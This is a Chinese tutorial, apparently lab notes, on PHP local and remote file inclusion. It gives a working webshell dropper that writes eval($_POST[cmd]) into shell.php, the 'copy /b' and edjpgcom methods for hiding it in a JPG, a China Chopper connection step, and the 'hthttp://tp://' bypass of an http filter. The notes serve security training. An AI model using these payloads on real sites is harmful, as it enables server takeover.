概述
文件包含漏洞渗透是指通过不严谨的php网页后台而产生的安全漏洞。
比如:
有三个正常的文件需要在主代码中运行,把这三个好的文分别为
a.php b.php c.php
主代码可以用三种办法将这几个文件包含进来:
第一种:
include a.php
include b.php
include c.php
第二种:
include *.php
第三种:
include *
显然,如果主代码中用后两种方式包含文件的话,就有可能把带有恶意的文件包含进来。
如果恶意的文件是php,那完全可以通过网页的url请求去运行。
但是如果是图片,txt或者其他的文件,是无法通过网页请求去运行带有恶意性质的代码的。
恶意的文件里面虽然也可能有正常的内容,而且如果通过url企图去执行也是完成不了的,但是如果网站开发者用了最后一种include *的方式包含文件,那么掺杂在图片,txt等文件中的一句话木马就会被执行(虽然会有其他执行不了的乱码因为是图片或者其他类型的文件,但是只要有一句恶意的php,它就会被执行)
就像前一篇文章的实验三的那种情况,就只能通过文件包含去做,把恶意php或者其他的恶意代码写进图片里面,等待被包含执行
文件包含有两种
本地文件包含 LFI(local file include)
远程文件包含 RFI(remote file include)
前面说的都是本地文件包含
远程文件包含就是包含了远程服务器上的恶意文件,这样就无需把恶意的脚本放到本地
漏洞来源 开启了allow_url_include
本地文件包含+webshell
文件包含使靶机自动生成php文件
1、制作一句话木马 e.g. xxx.jpg
将下面这句话嵌入到xxx.jpg图片文件里面去,这句话的作用是:当服务端将图片包含了以后将会执行下面代码,然后会生成一个文件shell.php,并且把<?php eval($_POST[cmd]);?>
写入shell.php
<?fputs(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>')?>
2、上传图片木马文件
如何查看图片的地址链接呢?直接在浏览器当前操作页选一张图片右击选择复制图片连接,就知道图片都存在哪里。总之也有其他很多办法找到图片路径
3、执行文件包含并生成后门
等待包含图片文件,也就同时生成了shell.php
总的来说就是找到包含路径,然后执行生成的php
4、通过菜刀连接webshell
如何制作一句话木马文件呢
方法一:windows命令:
copy xxx.jpg/b+shell.php xxxx.jpg
就是以二进制(/b)的方式读图片,然后将shell.php的内容加到里面,最后生成木马图片xxxx.jpg
(据说windows下的copy能做很多事情,把两个文件加在一起,比如两个视频加在一起都行还能播放)
方法二:edjpgcom
直接把图片拖拽到edjpgcom.exe上面,然后会自动弹出一个编辑窗,然后将一句话木马写在里面点击ok就可以了。注意这是对原图片进行更改,不会再生成一张图片。
中安全级别
中安全级别对本地文件包含还是没有什么限制
限制的主要是远端文件包含
限制的办法是将包含文件中可能存在的http字段和https字段改成空,这样就包含不到了。
然而这样的话你完全可以在http字段外面再套一层http
例如你这么写:
hthttp://tp://
这样尽管服务端用str_replace给你删掉了一个http://,你还是有一个http://
高安全级别
直接去判断文件名是不是你想包含的文件名,不对就直接退出
if( $file != include.php ){
echo "error";
exit;
}